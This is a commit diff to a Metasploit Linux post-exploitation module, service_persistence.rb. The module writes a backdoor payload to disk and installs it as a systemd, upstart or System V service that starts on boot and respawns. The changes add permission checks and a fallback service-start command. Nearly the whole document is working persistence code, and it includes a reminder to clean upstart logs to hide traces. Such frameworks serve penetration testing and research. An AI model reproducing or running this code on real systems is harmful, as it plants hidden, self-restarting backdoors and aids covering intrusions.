Skip to content

Commit 55f0edb

Browse files
committed
Land rapid7#8491, fixes for service_persistence
2 parents cbbb57d + 361cc2d commit 55f0edb

File tree

1 file changed

+39
-11
lines changed

1 file changed

+39
-11
lines changed

modules/exploits/linux/local/service_persistence.rb

Lines changed: 39 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -81,6 +81,9 @@ def initialize(info = {})
8181

8282
def exploit
8383
backdoor = write_shell(datastore['SHELLPATH'])
84+
if backdoor.nil?
85+
return
86+
end
8487
path = backdoor.split('/')[0...-1].join('/')
8588
file = backdoor.split('/')[-1]
8689
case target.name
@@ -120,8 +123,13 @@ def write_shell(path)
120123
backdoor = "#{path}/#{file_name}"
121124
vprint_status("Writing backdoor to #{backdoor}")
122125
write_file(backdoor, payload.encoded)
123-
cmd_exec("chmod 711 #{backdoor}")
124-
backdoor
126+
if file_exist?(backdoor)
127+
cmd_exec("chmod 711 #{backdoor}")
128+
backdoor
129+
else
130+
print_error('File not written, check permissions.')
131+
return
132+
end
125133
end
126134

127135
def systemd(backdoor_path, backdoor_file)
@@ -139,8 +147,13 @@ def systemd(backdoor_path, backdoor_file)
139147
WantedBy=multi-user.target}
140148

141149
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
142-
vprint_status("Writing service: /lib/systemd/system/#{service_filename}.service")
143-
write_file("/lib/systemd/system/#{service_filename}.service", script)
150+
service_name = "/lib/systemd/system/#{service_filename}.service"
151+
vprint_status("Writing service: #{service_name}")
152+
write_file(service_name, script)
153+
if !file_exist?(service_name)
154+
print_error('File not written, check permissions.')
155+
return
156+
end
144157
vprint_status('Enabling service')
145158
cmd_exec("systemctl enable #{service_filename}.service")
146159
vprint_status('Starting service')
@@ -162,8 +175,13 @@ def upstart(backdoor_path, backdoor_file, runlevel)
162175
respawn limit unlimited}
163176

164177
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
165-
vprint_status("Writing service: /etc/init/#{service_filename}.conf")
166-
write_file("/etc/init/#{service_filename}.conf", script)
178+
service_name = "/etc/init/#{service_filename}.conf"
179+
vprint_status("Writing service: #{service_name}")
180+
write_file(service_name, script)
181+
if !file_exist?(service_name)
182+
print_error('File not written, check permissions.')
183+
return
184+
end
167185
vprint_status('Starting service')
168186
cmd_exec("initctl start #{service_filename}")
169187
vprint_status("Dont forget to clean logs: /var/log/upstart/#{service_filename}.log")
@@ -203,7 +221,8 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
203221
echo \"Already started\"
204222
else
205223
echo \"Starting $name\"
206-
cd \"$dir\"}
224+
cd \"$dir\"
225+
}
207226

208227
if has_updatercd
209228
script << " sudo $cmd >> \"$stdout_log\" 2>> \"$stderr_log\" &\n"
@@ -267,14 +286,23 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
267286
exit 0}
268287

269288
service_filename = datastore['SERVICE'] ? datastore['SERVICE'] : Rex::Text.rand_text_alpha(7)
270-
vprint_status("Writing service: /etc/init.d/#{service_filename}")
271-
write_file("/etc/init.d/#{service_filename}", script)
272-
cmd_exec("chmod 755 /etc/init.d/#{service_filename}")
289+
service_name = "/etc/init.d/#{service_filename}"
290+
vprint_status("Writing service: #{service_name}")
291+
write_file(service_name, script)
292+
if !file_exist?(service_name)
293+
print_error('File not written, check permissions.')
294+
return
295+
end
296+
cmd_exec("chmod 755 #{service_name}")
273297
vprint_status('Enabling & starting our service')
274298
if has_updatercd
275299
cmd_exec("update-rc.d #{service_filename} defaults")
276300
cmd_exec("update-rc.d #{service_filename} enable")
277-
cmd_exec("service #{service_filename} start")
301+
if file_exist?('/usr/sbin/service') # some systems have update-rc.d but not service binary, have a fallback just in case
302+
cmd_exec("service #{service_filename} start")
303+
else
304+
cmd_exec("/etc/init.d/#{service_filename} start")
305+
end
278306
else # CentOS
279307
cmd_exec("chkconfig --add #{service_filename}")
280308
cmd_exec("chkconfig #{service_filename} on")

0 commit comments

Comments
 (0)